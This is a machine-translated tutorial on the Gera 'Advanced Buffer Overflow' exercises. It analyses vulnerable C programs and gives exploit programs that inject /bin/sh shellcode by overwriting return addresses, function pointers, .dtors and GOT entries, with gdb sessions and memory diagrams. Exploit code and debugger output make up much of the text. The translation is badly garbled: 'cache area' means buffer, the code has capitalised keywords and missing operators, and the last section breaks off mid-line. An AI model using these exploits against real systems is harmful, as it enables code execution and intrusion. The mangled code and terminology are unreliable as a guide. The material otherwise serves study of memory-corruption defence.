Advanced Cache Area overflow of non-secure programming (Version1.2)
Creation time: 2002-12-19
Article attribute: translation
Article Source:
Http://packetstormsecurity.nl/papers/general/core_vulnerabilities.pdf
Article submission:
PH4NT0M (AXIS_AT_PH4NT0M.NET)
Title: Advanced Cache Area of Non-Secure Programming Demonstration overflow
Version: 1.2
Update: 2002.12.13
all rights reserved:
http://www.code-sec.com
Translation finishing BY thorn (pH4NT0M), Cloie
Source: Phantom Translation Group
http://www.3389.net/bbs
Translator Note: This article is an updated version of the "Advanced Articles" translated by Alert7, and many analyzes of the author have joined the author. The original author is Coresecurity Team. We also ask your master's ideas as you translate the author's original interest, insufficient or wrong. During the translation, I thank the Hellguard, the Green Alliance Warning3, and the guidance of friends d0nny.
table of Contents
Introduction
Analysis of Advanced Cache Area overflow code 1
Analysis of Senior Cache Area overflow code 2
Analysis of Senior Cache Area overflow code 3
Analysis of Senior Cache Area overflow code 4
Analysis of high-grade cache area overflow code 5
Analysis of Senior Cache Area overflow code 6
Analysis of Senior Cache Area overflow code 7
Analysis of the high-grade cache area overflow code 8
Analysis of Senior Cache Area overflow code 9
Analysis of Advanced Cache Area overflow code 10
Introduction
CoreSecurity will be described herein, analyzing some common errors in using C programming. It is to be discussed to be advanced cache overflow (ABO), with ten specific examples (author Gera). We will point out the details of thinnesses in these programs, why these errors are dangerous and provide corresponding Exploit. All tests are in Linux Slackware 8.0 Server (IA32), GNU GCC 2.95.3.
We assume that readers are proficient in C language programming, and knew basic piles, stack overflow principle, got, etc. In this article, we will not provide information about these, if you don't understand, please read the final reference in this article.
Can
Www.core-sec.com gets the upgrade of this article, please contact us if you have any questions: info@core-sec.com
Analysis of Advanced Cache Area overflow code 1
Source code:
/*abo1.c *
* specially crafted to feed your brey by gera@core-sdi.com * /
/ * DUMB EXAMPLE TO Let You Get Introduces ... * /
Int main (int Argv, char ** argc)
{
Char BUF [256];
STRCPY (BUF, Argc [1]);
}
This is a very classic stack overflow, we will use Debugging to analyze it.
User @ Corelabs: ~ / Gera $ GCC ABO1.C -O ABO1 -GGDB
User @ Corelabs: ~ / Gera $ gdb ./abo1
GNU GDB 5.0
........
THIS GDB WAS Configured AS "I386-SLACKWARE-Linux" ...
(GDB) R `Perl-E 'Printf" a "x 264'`
Starting Program: / USER / GERA / ABO1 `Perl -e 'Printf" a "x 264'program received signal Sigsegv, segmentation fault.
0x41414141 in ?? ()
(GDB) I r
Eax 0xBfffff7ec - 1073743892
ECX 0xffffd7c - 644
EDX 0xBfffffb78 - 1073742984
EBX 0x4012ba58 1074969176
ESP 0xBFFFF8F4 0xBffFFF8F4
EBP 0x41414141 0X41414141
ESI 0x40015D64 1073831268
EDI 0xBfffff954 - 1073743532
EIP 0x41414141 0x41414141
EFLAGS 0x10286 66182
(GDB) BT
# 0 0x41414141 in ?? ()
Cannot Access Memory At Address 0x41414141
(GDB) Q
The Program Is Running. EXIT Anyway? (Y OR N) Y
User @ Corelabs: ~ / gera $
When the program is transferred to memory operation by the operating system, the image corresponding to the process is shown in the figure below.
0xBfffffffff ---> ------------------------------------
| Four empty bytes |
0xBfffffffff ---> ------------------------------------
| Program |
------------------------------------
| Shellcode |
Shellcode's address ---> ------------------------------------ <- -
| SHELL environment variable and command line parameter save area | | |
------------------------------------ |
Four bytes ---> | Return Address | ----
------------------------------------
Four bytes ---> | Save ESP |
------------------------------------
| | BUF [256] | / | /
| | | | | |
| | Aaaaaaa | | |
Stack growth direction | | aaaaaaaa | | Cache area overflow direction
| | Aaaaaaa | | |
| | Aaaaaaa | | |
| | Aaaaaaa | | |
/ | / --------------------------------------
| | |
First, the function returns the address being pressed, then the saved ESP, and then the local variable buf [256], and our goal is to overwrite the return address of the function. To overflow the length of 256 4 4 = 264 bytes to do, there must be a shellcode address in the last 4 bytes. But the procedure compiled in different environments is different in different environments. We use a trick under Linux. Use the formula to calculate this address:
Shellcode_addr = 0xBffffffa-Strlen (Name_OF_Program) -Strlen (Shellcode)
Here is the corresponding Exploit:
/ *
** EXP1. c
** Coded by CoreCurity ¨C info @ core- sec. Com
** /
# include
# include
# Define buffs 264 1
/ * 24 Bytes shellcode * /
Char shellcode [] = "x31xc0x50x68x2fx2fx73x68x68x2fx62x69" "x6ex89xe3x50x53x89xe1x99xb0x0bxcdx80";
INT main (void) {
Char * env [3] = {shellcode, null};
Char evil_ buffer [buffsize];
Char * p;
/ * Calculating address of shellcode * /
INT RET = 0xBfffffa-Strlen (Shellcode) -Strlen ("/ Home / User / Gera / ABO1);
/ * Constructing the buffer * /
P = eviL_ buffer;
MEMSET (P, 'A', 260); // Some Junk
P = 260;
* ((void **) p) = (void *) (reset);
P = 4;
* p = '0';
Execle ("/ Home / User / Gera / Abo1", "ABO1", EVIL_ Buffer, NULL, ENV);
}
Analysis of Senior Cache Area overflow code 2
Source code:
/ * ABO2. c *
* specially crafted to feed your brey by gera@core-sdi.com * /
/ * This is a tricky example to make you think *
* And Give You some help on the next one * /
Int main (int Argv, char ** argc)
{
Char BUF [256];
STRCPY (BUF, Argc [1]); exit (1);
}
Let's debug this program again and see what is different from ABO1.
User @ Corelabs: ~ / Gera $ GCC ABO2. C - O ABO2 - GGDB
User @ Corelabs: ~ / Gera $ gdb ./ ABO2
GNU GDB 5.0
CopyRight 2000 Free Software Foundation, Inc.
GDB IS Free Software, Covered by the gnu general public license, and you
Are Welcome to change it and / or distribute copies of it under certin
CONDitions.
Type "Show Copying" to see the conditions.
There Is Absolutely No Warranty for GDB. Type "Show Warranty" for Details.
This GDB WAS Configured AS "I386- SLACKWARE- Linux" ...
(GDB) R `Perl - E 'Printf" a "x 264'`
Starting Program: / home / gera / abo2 `perl - e 'Printf" a "x 264'`
Program evted with code 01.
(GDB) disass main
Dump of assembler code for function main:
0x8048430
0x8048431
0x8048433
0x8048439
0x804843C
0x804843f
0x8048442
0x8048444
0x8048445
0x804844B
0x804844c
0x8048451
0x8048454
0x8048459
0x804845e
0x8048461
0x8048462
End of assembler dump.
(GDB) Q
Although the return address of the function can be overwritten with a sufficiently long string, the program is still properly exited. This is because EXIT () is called after Strcpy (). If there is no this exit () call, the program will run in the 0x8048461 and 0x8048462 instructions, and these instructions go to the return address (after being overwritten back) SHELLCODE. However, with this exit () call, the program terminates.
Analysis of Senior Cache Area overflow code 3
Source code:
/ * ABO3. C *
* specially crafted to feed your brey by gera@core-sdi.com * /
/ * This'll prepare you for the next step * /
Int main (int Argv, char ** argc)
{
Extern system, PUTS;
Void (* fn) (char *) = (Void (*) (char *)) & system;
Char BUF [256];
Fn = (void (*) (char *)) & puts;
STRCPY (BUF, Argc [1]);
Fn (Argc [2]);
Exit (1);
}
Thick look, this program is a bit confused :). It has two string parameters, the first String is copied to the buffer, if it is longer than 256 bytes, it will overwrite something, you can debug what you have overwritten; the second String is displayed in the standard output. Here is the first String :.
User @ Corelabs: ~ / Gera $ GCC ABO3. C - O ABO3 - GGDB
User @ Corelabs: ~ / Gera $ gdb ./ ABO3
GNU GDB 5.0
CopyRight 2000 Free Software Foundation, Inc.
GDB IS Free Software, Covered by the gnu general public license, and you
Arewelcome to change it and / or distribute copies of it under certain
CONDitions.
Type "Show Copying" to see the conditions.
There is absolutely no warranty for gdb. Type "Show Warranty" for details.this gdb WAS Configured AS "i386- slackware- linux" ...
(GDB) R `Perl - e 'Printf" B "x 260'`
Starting Program: / home / usr / gera / abo3 `Perl - e 'Printf" B "x 260'`
Program received Signal SigSegv, Segmentation Fault.
0x42424242 in ?? ()
(GDB) disass main
Dump of assembler code for function main:
0x8048490
0x8048491
0x8048493
0x8048499
0x804849a
0x80484a1
0x80484A8
0x80484ab
0x80484ae
0x80484B1
0x80484B3
0x80484B4
0x80484BA
0x80484bb
0x80484c0
0x80484c3
0x80484c6
0x80484c9
0x80484cc
0x80484cf
0x80484d2
0x80484d4
0x80484d7
0x80484DA
0x80484dc
0x80484e1
0x80484E4
0x80484ea
0x80484eb
End of assembler dump.
(GDB) Q
The Program Is Running. EXIT Anyway? (Y OR N) Y
User @ Corelabs: ~ / gera $
When the program is transferred to memory operation by the operating system, the image corresponding to the process is shown in the figure below.
| | |
------------------------------------
Four bytes ---> | fn () function address |
------------------------------------
| | BUF [256] | / | /
| | | | | |
| | BBBBBBBB | |
Stack growth direction | | bbbbbbb | | cache area overflow direction
| | BBBBBBBB | |
| | BBBBBBBB | |
/ | / --------------------------------------
| | |
In order to successfully Exploit this program, we must not allow the system to call EXIT () in 0x080484dc, you can get this lesson from ABO2! Because the function fn () is pressed into the stack 0x080484a1, it is just in front of BUF [256], it can be covered and operated at 0x080484D2, before the system calls exit (). This exploIT looks very similar to the exp1, there is a very important difference that should be pointed out, that is, the overflow address of the function is not the address, but overflows in the runtime process of the program.
Here is the corresponding Exploit:
/ *
** EXP3. c
** Coded by CoreSecurity-info@core-sec.com
** /
# include
# include
# Define buffsize 261
/ * 24 Bytes shellcode * /
Char shellcode [] =
"X31XC0X50X68X2FX2FX73x68x68x2fx62x69"
"X6EX89XE3X50X53X89XE1X99XB0X0BXCDX80";
INT main (void) {
Char * ENV [3] = shellcode, null;
Char evil_buffer [buffsize];
Char * p;
/ * Calculating address of shellcode * /
int RET = 0xBfffffa-Strlen (Shellcode) -Strlen ("/ Home / User / Gera / ABO3);
/ * Constructing the buffer * /
P = evIL_buffer;
MEMSET (P, 'B', 256); // Some Junk
P = 256;
* ((void **) p) = (void *) (reset);
P = 4;
* p = '0';
/ * Two arguments area passed to vulnerable program * /
Execle ("/ Home / User / Gera / ABO3", "ABO3", Evil_Buffer, "A", NULL, ENV);
}
Analysis of Senior Cache Area overflow code 4
Source code:
/ * ABO4. c *
* specially crafted to feed your brey by gera@core-sdi.com * /
/ * After this one, The next is just an EUREKA! AWAY * /
Extern system, PUTS;
Void (* fn) (char *) = (Void (*) (char *)) & system;
Int main (int Argv, char ** argc)
Char * pbuf = malloc (Strlen (Argc [2]) 1);
Char BUF [256];
Fn = (void (*) (char *)) & puts;
STRCPY (BUF, Argc [1]);
STRCPY (PBUF, Argc [2]);
Fn (Argc [3]);
While (1);
From an attacker's perspective, this program is nothing different from the front, in fact, the address of the fn () is no longer allocated in the stack, because it is declared before the main () function, so its address is now assigned in the .DATA area I have. User @ Corelabs: ~ / Gera $ GCC ABO4. C - O ABO4 - GGDB
ABO4. C: in Function `Main ':
ABO4. C: 10: Warning: Initialization Makes Pointer from Integer WITHOUT A
CAST
User @ Corelabs: ~ / Gera $ gdb ./ ABO4
GNU GDB 5.0
CopyRight 2000 Free Software Foundation, Inc.
GDB IS Free Software, Covered by the gnu general public license, and you
Arewelcome to change it and / or distribute copies of it under certain
CONDitions.
Type "Show Copying" to see the conditions.
There Is Absolutely No Warranty for GDB. Type "Show Warranty" for Details.
This GDB WAS Configured AS "I386- SLACKWARE- Linux" ...
(GDB) R `Perl - E 'Printf" a "x 260'` BBBB CCCC
Starting program: / home / usr / gera / abo4 `Perl - e 'Printf" a "x 260'` BB CC
Program received Signal SigSegv, Segmentation Fault.
STRCPY (DEST = 0x41414141
, src = 0xBffffb6e"Bbbb") at ../ sysdeps / generic / structure. C: 40
40 ../ sysdeps / generic / structure. C: no such file or directory.
(GDB) disass main
Dump of assembler code for function main:
0x80484d0
0x80484d1
0x80484d3
0x80484d9
0x80484DA
0x80484DD
0x80484e3
0x80484e6
0x80484e8
0x80484e9
0x80484ee
0x80484f1
0x80484f3
0x80484f6
0x80484f7
0x80484FC
0x80484ff
0x8048501
0x8048504
0x804850e
0x8048511
0x8048514
0x8048517
0x8048519
0x804851a
0x8048520
0x8048521
0x8048526
0x8048529
0x804852C
0x8048532
0x8048534
0x8048535
0x8048538
0x8048539
0x804853e
0x8048541
0x8048544
0x8048547
0x804854a
0x804854C
0x804854d
0x8048553
0x8048555
0x8048558
0x804855a
0x804855C
0x8048560
0x8048562
0x8048568
0x8048569
End of assembler dump.
(GDB) Main Inf Sec
Exec file: `/ home / user / gera / abo4 ', File Type ELF32- I386.
[Some Part of Output Was Removed. It? ˉS not needed annily]
0x080482e4-> 0x080482ec at 0x000002E4:. Rel. DYN0X080482EC-> 0x0804832C AT 0x000002ec:. Rel. Plt
0x0804832c-> 0x08048351 AT 0x0000032c:. Init
0x08048354-> 0x080483E4 AT 0x00000354:. Plt
0x080483f0-> 0x0804859c AT 0x000003F0:. Text
0x0804859c-> 0x080485b8 AT 0x0000059c:. Fini
0x080485b8-> 0x080485c0 at 0x000005B8:. Rodata
0x080495c0-> 0x080495d0 AT 0x000005c0:. Data
0x080495d0-> 0x08049618 AT 0x000005d0:. EH_ FRAME
0x08049618-> 0x080496e0 at 0x00000618:. Dynamic
0x080496e0-> 0x080496e8 at 0x000006E0:. Ctors
0x080496E8-> 0x080496f0 at 0x000006e8:. Dtors
0x080496f0-> 0x08049720 AT 0x000006f0:. Got
0x08049720-> 0x08049738 AT 0x00000720:. BSS
[Some Part of Output Was Removed. It? ˉS not needed annily]
(GDB) x / x 0x080495cc
0x80495cc
(GDB) x / x 0x08048384
0x8048384
(GDB)
0x8048388
(GDB)
0x804838C
(GDB) Q
The Program Is Running. EXIT Anyway? (Y OR N) Y
User @ Corelabs: ~ / gera $
When the program is transferred to memory operation by the operating system, the image corresponding to the process is shown in the figure below.
0xBfffffffff ---> ------------------------------------
| | |
------------------------------------ <-
| Shellcode | |
------------------------------------ |
| | | | |
------------------------------------ |
--- | PBUF address | |
| -------------------------------------- |
| | BUF [256] | |
| | | | || | AAAAAAA | |
| | Aaaaaaa | | |
Stack | -------------------------------------- |
Growth direction | | | | | |
| | |
| | |
| | | | | |
| -------------------------------------- |
| | Fu () | |
---> ---------------------------------- ---
| | |
/ | / --------------------------------------
| | .Fini |
| --------------------------------------
Pile (HEAP) Growth Direction | | .TEXT |
| --------------------------------------
| |. PLT |
| --------------------------------------
| | |
0x08000000 ---> --------------------------------------
With the first STRCPY () override the pointer to the PBUF (dynamically allocated cache) (it just before BUF [256]), such an attacker can control the second strcpy (), copy the second parameter argc Data in [2] to anywhere. Generally, he selects the address of the overlay function Fn () 0x080495cc, pointing to the PUTS () at the memory address 0x08048384, an attacker can modify it in memory to point to Shellcode.
Here is the corresponding Exploit:
/ *
** EXP4. c
** Coded by CoreSecurity-info@core-sec.com
* /
# include
# include
# Define bufsize1 261
# define bufsize2 5
# Define Fn_address 0x080495cc / * address of fn () * /
/ * 24 Bytes shellcode * /
Char shellcode [] =
"X31XC0X50X68X2FX2FX73X68X68X2FX62X69" "X6EX89XE3X50X53X89XE1X99XB0X0BXCDX80";
INT main (void) {
Char evil_buffer1 [bufsize1];
Char evil_buffer2 [bufsize2];
Char * ENV [3] = shellcode, null;
Char * p;
/ * Calculating address of shellcode * /
INT RET = 0xBfffffa-Strlen (Shellcode) -Strlen ("/ Home / User / Gera / ABO4");
/ * Constructing first buffer * /
P = evIL_buffer1;
MEMSET (P, 'A', 256); // Some Junk
P = 256;
* ((void **) p) = (void *) (fn_address);
P = 4;
* p = '0';
/ * Constructing Second Buffer * /
P = eviL_buffer2;
* ((void **) p) = (void *) (reset);
P = 4;
* p = '0';
Execle ("/ Home / Gera / User / ABO4", "ABO4", Evil_Buffer1, Evil_Buffer2, "A", NULL, ENV);
}
Analysis of high-grade cache area overflow code 5
Source code:
/ * ABO5. C *
* specially crafted to feed your brey by gera@core-sdi.com * /
/ * You Take the blue pill, you wake up in your bed, *
* And you believe what you want to be beleve *
* You take the red pill, *
* And I'll show you how deep goes the Rabbit Hole * /
INT Main (int Argv, char ** argc) {
Char * pbuf = malloc (Strlen (Argc [2]) 1);
Char BUF [256];
STRCPY (BUF, Argc [1]);
For (; * pbuf = * (Argc [2] ););
Exit (1);
}
A 260-byte can be overridden * PBUF, so an attacker can two parameters STRCPY (). But what is over? This program is unlike the previous one with internal functions. The possible address has three: .dtors district address, GOT (Global Offset Table, Global Offset Table), got __ derecister_ frame_ info address. Three can be, the address in the GOT can see this:
User @ Corelabs: ~ / Gera $ Objdump - r ./ ABO5
./ ABO5: FILE FORMAT ELF32- I386Dynamic Relocation Records
Offset Type Value
080496C4 R_ 386_ Glob_ DAT __GMON_ START__
080496A8 R_ 386_ jump_ slot __ register_ frame_ info
080496AC R_ 386_ jump_ slot malloc
080496B0 R_ 386_ jump_ slot __ deregister_ frame_ info
080496B4 R_ 386_ jump_ slot strlen
080496B8 R_ 386_ jump_ slot __ libc_ start_ main
080496BC R_ 386_ jump_ slot exit
080496c0 r_ 386_ jump_ slot strcpy
User @ Corelabs: ~ / gera $
Address of. Dtors Sections That Can Be Overwritten IS:
User @ Corelabs: ~ / Gera $ gdb ./ ABO5
GNU GDB 5.0
CopyRight 2000 Free Software Foundation, Inc.
GDB IS Free Software, Covered by the gnu general public license, and you
Are Welcome to change it and / or distribute copies of it under certin
CONDitions.
Type "Show Copying" to see the conditions.
There Is Absolutely No Warranty for GDB. Type "Show Warranty" for Details.
This GDB WAS Configured AS "I386- SLACKWARE- Linux" ...
(GDB) Main Inf Sec
Exec file: `/ home / user / gera / abo5 ', File Type ELF32- I386.
[Some Part of Output Was Removed. It? ˉS not needed annily]
0x08048308-> 0x0804832d AT 0x00000308:. Init
0x08048330-> 0x080483b0 at 0x00000330:. Plt
0x080483B0-> 0x0804854C AT 0x000003B0:. TEXT
0x0804854c-> 0x08048568 AT 0x0000054c:. Fini
0x08048568-> 0x08048570 AT 0x00000568:. Rodata
0x08049570-> 0x0804957c AT 0x00000570:. DATA
0x0804957c-> 0x080495c4 at 0x0000057c:. EH_ FRAME
0x080495c4-> 0x0804968c AT 0x000005c4:. Dynamic
0x0804968c-> 0x08049694 at 0x0000068c:. Ctors
0x08049694-> 0x0804969c at 0x00000694:. Dtors0x0804969c-> 0x080496c8 AT 0x0000069c:. Got
0x080496c8-> 0x080496e0 at 0x000006C8:. BSS
[Some Part of Output Was Removed. It? ˉS not needed annily]
(GDB) x / x 0x08049694
0x8049694 <__ dtor_ list __>: 0xfffffffff
(GDB)
0x8049698 <__ dtor_ end __>: 0x00000000
(GDB)
0x804969c <_ global_ offset_ Table_>: 0x080495c4
(GDB)
0x80496A0 <_ global_ offset_ Table_ 4>: 0x0000000
(GDB) Q
User @ Corelabs: ~ / gera $
We are interested in the address of the 0x08049698 in the .dtors unit.
Here is the corresponding Exploit:
/ *
** EXP5. c
** Coded by CoreSecurity-info@core-sec.com
* /
# include
# include
# Define bufsize1 261
# define bufsize2 5
# Define dtors_address 0x08049698 / * address of. dtors section * /
/ / # define dereg_frame 0x080496b0 / * address of __ deregister_ frame_ info
In got * /
// # define exit_address 0x080496bc / * address of exit () entry in got * /
/ * 24 Bytes shellcode * /
Char shellcode [] =
"X31XC0X50X68X2FX2FX73x68x68x2fx62x69"
"X6EX89XE3X50X53X89XE1X99XB0X0BXCDX80";
Int main (void)
{
Char evil_buffer1 [bufsize1];
Char evil_buffer2 [bufsize2];
Char * ENV [3] = shellcode, null;
Char * p;
/ * Calculating address of shellcode * /
INT RET = 0xBfffffa-Strlen (Shellcode) -Strlen ("/ Home / User / Gera / ABO5);
/ * Constructing first buffer * /
P = evIL_buffer1;
MEMSET (P, 'A', 256); // Some Junk
P = 256;
* ((void **) p) = (void *) (dtors_address);
P = 4;
* p = '0';
/ * Constructing Second Buffer * /
P = eviL_buffer2;
* ((void **) p) = (void *) (reset);
P = 4; * p = '0';
Execle ("/ Home / User / Gera / ABO5", "ABO5", Evil_Buffer1, Evil_Buffer2, NULL, ENV);
}
Analysis of Senior Cache Area overflow code 6
Source code:
/ * ABO6.C *
* specially crafted to feed your brey by gera@core-sdi.com * /
/ * return to me my love * /
INT Main (int Argv, char ** argc) {
Char * pbuf = malloc (Strlen (Argc [2]) 1);
Char BUF [256];
STRCPY (BUF, Argc [1]);
STRCPY (PBUF, Argc [2]);
While (1);
}
When the program is transferred to memory operation by the operating system, the image corresponding to the process is shown in the figure below.
(Memory Ga) --0xBffFffff)
------------------------------------
| ... | ... omitted some districts we don't need to care
------------------------------------ <-
| Shellcode | |
------------------------------------ |
| | | | |
| Some Data | |
| | | | |
------------------------------------ |
- | Addr. Of PBUF |
| -------------------------------------- |
| | BUF [256] | |
| | | | | |
| | AAAAAAA | | / | /
| | AAAAAAA | | | | | |
| | | | | | |
| -------------------------------------- | | (Cache area overflow direction)
| | | | | | |
| | | Some Data | | | | |
| | | | | | |
| -------------------------------------- |
| | RETURN Address | --- | --------------------------------------
| | | Saved Address |
| --------------------------------------
| | | | |
-> | | | |
| | |
(Memory low)
It is very similar to ABO5.C, and the attacker can completely control the second strcpy () function, but should he be overwritten? This example does not have internal functions or system functions after the second strcpy () function. (It is impossible to overwrite the call of the GOT table entry), the program can't even exit --- while () loop makes it performed (it is impossible to overwrite .dtors). The only chance of attacker is to overwrite the second strcpy () stack The post-return address (determined after BUF [256]). This way, the program will be used in the return address (often shellcode). This technology is also suitable for some examples above. Because the return address is called function In the stack frame, it will change with the number of environment variables, so it is more difficult to implement.
Translator Note:
/ *
You can refer to the following picture below.
(Memory high site)
------------------------------------
| ... | ... omitted some districts we don't need to care
------------------------------------
| ENV STRINGS (Environment Variable Strings) | /
-------------------------------------- /
| Argv strings | /
-------------------------------------- /
| ENV Pointers | SHELL environment variables and command line parameters save area
-------------------------------------- /
| Argv pointers | /
-------------------------------------- /
| Argc (number of command line parameters) | /
------------------------------------
| MAIN function stack frame | /
-------------------------------------- /
| FUNC_1 Function Stack Frame | /
-------------------------------------- /
| FUNC_2 Function Stack Frame | /
-------------------------------------- /
Func_3 Function Stack Frame | Stack (Stack)
...................................... /
| | / ... /
| | | /
...................................... /
| HEAP (Heap) | /
------------------------------------
| Uninitialiad (BSS) Data | Non-Initialization Data (BSS) area
------------------------------------
| Initialised Data | Initialization Data Area
------------------------------------
| TEXT | Text District
------------------------------------
(Memory low)
* /
Note that this ExploIT may need to modify (Offset and Return Address).
Here is the corresponding Exploit:
/ *
** EXP6.
** Coded by CoreSecurity-info@core-sec.com
* /
# include
# include
# Define bufsize1 261
# Define bufsize2 60 / * offxt * /
# Define return_address 0xBffffc5c
/ * 24 Bytes shellcode * /
Char shellcode [] =
"X31XC0X50X68X2FX2FX73x68x68x2fx62x69"
"X6EX89XE3X50X53X89XE1X99XB0X0BXCDX80";
INT main (void) {
Char evil_buffer1 [bufsize1];
Char evil_buffer2 [bufsize2];
Char * env [3] = {shellcode, null};
Char * p;
INT i = 0;
/ * Calculating address of shellcode * /
int RET = 0xBfffffa-Strlen (Shellcode) -Strlen ("/ Home / User / Gera / ABO6);
/ * Constructing first buffer * /
P = evIL_buffer1;
MEMSET (P, 'A', 256); // Some Junk
P = 256;
* ((void **) p) = (void *);
P = 4;
* p = '0';
/ * Constructing Second Buffer * /
P = eviL_buffer2;
For (i = 0; i * ((void **) p) = (void *) (reset); P = 4; i ; } * p = '0'; Execle ("/ Home / User / Gera / ABO6", "ABO6", Evil_Buffer1, Evil_Buffer2, NULL, ENV); } Analysis of Senior Cache Area overflow code 7 Source code: / * ABO7. C * * specially crafted to feed your brain by gera @ core- sdi. com * / / * Sometimes you can, * * sometimes you don't * * That's what life's about * / CHAR BUF [256] = {1}; INT Main (int Argv, char ** argc) { STRCPY (BUF, Argc [1]); } This is a model of HEAP overflow and overwriting the .dtors area. However, because the compiler's version cannot be successfully overflow. DEBUGGING results are like this: User @ Corelabs: ~ / Gera $ GCC ABO7. C - O ABO7 - GGDB User @ Corelabs: ~ / Gera $ gdb ./ ABO7 GNU GDB 5.0 CopyRight 2000 Free Software Foundation, Inc. GDB IS Free Software, Covered by the gnu general public license, and you Are Welcome to change it and / or distribute copies of it under certin CONDitions. Type "Show Copying" to see the conditions. There Is Absolutely No Warranty for GDB. Type "Show Warranty" for Details. This GDB WAS Configured AS "I386- SLACKWARE- Linux" ... (GDB) Main Inf Sec Exec file: `/ home / user / gera / abo7 ', File Type ELF32- I386. [Some Part of Output Was Removed. It ?? s not needed annily] 0x08048298-> 0x080482bd at 0x00000298:. Init 0x080482c0-> 0x08048310 AT 0x000002c0:. Plt 0x08048310-> 0x0804843c AT 0x00000310:. Text 0x0804843c-> 0x08048458 AT 0x0000043c:. Fini 0x08048458-> 0x08048460 AT 0x00000458:. Rodata 0x08049460-> 0x08049580 AT 0x00000460:. DATA 0x08049580-> 0x080495c0 at 0x00000580:. EH_ FRAME 0x080495c0-> 0x08049688 AT 0x000005c0:. Dynamic 0x08049688-> 0x08049690 AT 0x00000688:. Ctors 0x08049690-> 0x08049698 at 0x00000690:. Dtors0x08049698-> 0x080496b8 at 0x00000698:. Got 0x080496b8-> 0x080496d0 AT 0x000006b8:. BSS [Some Part of Output Was Removed. It's not needed annily] (GDB) Q User @ Corelabs: ~ / gera $ Since BUF [256] is initialized at the beginning, it is saved in the .data area. The purpose of the attacker is to overwrite the .dtors district. But if he does, he will also cover the .dynamic zone. The Dynamic district saves some data (dynamic link information) that is interrupted, before reading .dtor, it is to be read, due to the overwrite, the occurrence period error. The attacker will only get paragraph error for this program. It is the case in the heap when compiling this program with the old version of GCC: 0x08048F88-> 0x08048fad at 0x00000f88:. Init 0x08048fb0-> 0x08049420 AT 0x00000fb0:. Plt 0x08049420-> 0x0804F45C AT 0x00001420:. Text 0x0804f45c-> 0x0804f478 AT 0x0000745c:. Fini 0x0804f480-> 0x080523bc at 0x00007480:. Rodata 0x080533bc-> 0x08053478 AT 0x0000A3BC:. DATA 0x08053478-> 0x0805347c AT 0x0000A478:. EH_ FRAME 0x0805347c-> 0x08053484 AT 0x0000A47C:. Ctors 0x08053484-> 0x0805348c AT 0x0000A484:. Dtors 0x0805348c-> 0x080535b8 at 0x0000A48c:. Got 0x080535B8-> 0x08053660 AT 0x0000A5B8:. Dynamic 0x08053660-> 0x08053660 AT 0x0000A660:. SBSS 0x08053660-> 0x08053908 AT 0x0000A660:. BSS As you can see, the .dynamic district is now after GOT. In this case, an attacker will override .Eh_frame and .ctors (Importation only at the beginning of the program) area, and will overflow success. Analysis of the high-grade cache area overflow code 8 Source code: / * ABO8. C * * specially crafted to feed your brain by gera @ core- sdi. com * / / * Spot the Difference * / Char BUF [256]; INT Main (int Argv, char ** argc) { STRCPY (BUF, Argc [1]); } This example is almost almost the same, the only difference in BUF [256] is not initialized when it is started. So it is placed .BSS District User @ Corelabs: ~ / Gera $ GCC ABO8. C - O ABO8 - GGDB User @ Corelabs: ~ / Gera $ gdb ./ ABO8 GNU GDB 5.0 CopyRight 2000 Free Software Foundation, Inc. GDB is Free Software, Covered by the gnu general public license, and youare Welcome to change it and / or distribute copies of it under certain CONDitions. Type "Show Copying" to see the conditions. There Is Absolutely No Warranty for GDB. Type "Show Warranty" for Details. This GDB WAS Configured AS "I386- SLACKWARE- Linux" ... (GDB) Main Inf Sec Exec file: `/ home / user / gera / ABO8 ', File Type ELF32- I386. [Some Part of Output Was Removed. It ?? s not needed annily] 0x08048298-> 0x080482bd at 0x00000298:. Init 0x080482c0-> 0x08048310 AT 0x000002c0:. Plt 0x08048310-> 0x0804843c AT 0x00000310:. Text 0x0804843c-> 0x08048458 AT 0x0000043c:. Fini 0x08048458-> 0x08048460 AT 0x00000458:. Rodata 0x08049460-> 0x0804946c AT 0x00000460:. Data 0x0804946c-> 0x080494ac at 0x0000046c:. EH_ FRAME 0x080494ac-> 0x08049574 AT 0x000004ac:. Dynamic 0x08049574-> 0x0804957c AT 0x00000574:. Ctors 0x0804957c-> 0x08049584 AT 0x0000057c:. Dtors 0x08049584-> 0x080495a4 at 0x00000584:. Got 0x080495c0-> 0x080496e0 AT 0x000005c0:. BSS (GDB) Q User @ Corelabs: ~ / gera $ Therefore, when the buffer is determined in the .bss area, it is not overwritten. Even the use of the old version of GCC is also true. Analysis of Senior Cache Area overflow code 9 Source code: / * ABO9. C * * specially crafted to feed your brain by gera @ core- sdi. com * / / * Modified by CoreSecurity * / / * free (your mind) * / / * I'm not Sure In What Operating Systems It Can Be Done * / INT Main (int Argv, char ** argc) { Char * pbuf1 = (char *) Malloc (256); Char * pbuf2 = (char *) Malloc (256); // Gets (PBUF1); STRCPY (PBUF1, Argc [1]); Free (PBUF2); Free (PBUF1); } The above code is easy to overflow. Here is a strcpy () function instead of gets (). Segment Fault will occur when Free (PBUF2) is executed because strcpy () overwrites the management information of the second memory block. Head). CoreSecurity will not describe Doug Lea's Malloc in this document. When passing a 260-byte parameter, the last 4 bytes will overwrite the PREV_SIZE field of the second memory block. User @ Corelabs: ~ / Gera $ GCC ABO9. C - O ABO9 - GGDB User @ Corelabs: ~ / Gera $ LTRACE ./ ABO9 __ libc_ start_ main (0x08048454, 1, 0xBfffa34, 0x080482e0, 0x080484ec __ register_ frame_ info (0x0804951c, 0x0804965c, 0xBffff9d8, 0x4004f138, 0x4012ba58) = 0x4012c740 Malloc (256) = 0x08049680 <- first chunk (data) Malloc (256) = 0x08049788 <- Second Chunk (data) STRCPY (0x08049680, null --- Sigsegv (segmentation fault) --- Killed by Sigsegv User @ bahur: ~ / gera # gdb ./ ABO9 GNU GDB 5.0 CopyRight 2000 Free Software Foundation, Inc. GDB IS Free Software, Covered by the gnu general public license, and you Are Welcome to change it and / or distribute copies of it under certin CONDitions. Type "Show Copying" to see the conditions. There Is Absolutely No Warranty for GDB. Type "Show Warranty" for Details. This GDB WAS Configured AS "I386- SLACKWARE- Linux" ... (GDB) R `Perl - e 'Printf" a "x 260'` Starting Program: / USER / USER / GERA / ABO9 `Perl - e 'Printf" a "x 260'` Program received Signal SigSegv, Segmentation Fault. 0x40090c18 in chunk_ free (Ar_ PTR = 0x40129cc0, P = 0xC6C3563F) at malloc. C: 31283128 Malloc. C: No Such File or Directory. (GDB) x / x 0x08049780 0x8049780: 0x41414141 <---- prev_ size field of second chunk (GDB) 0x8049784: 0x00000100 <---- Size Field of Second Chunk (GDB) 0x8049788: 0x00000000 <---- Data In 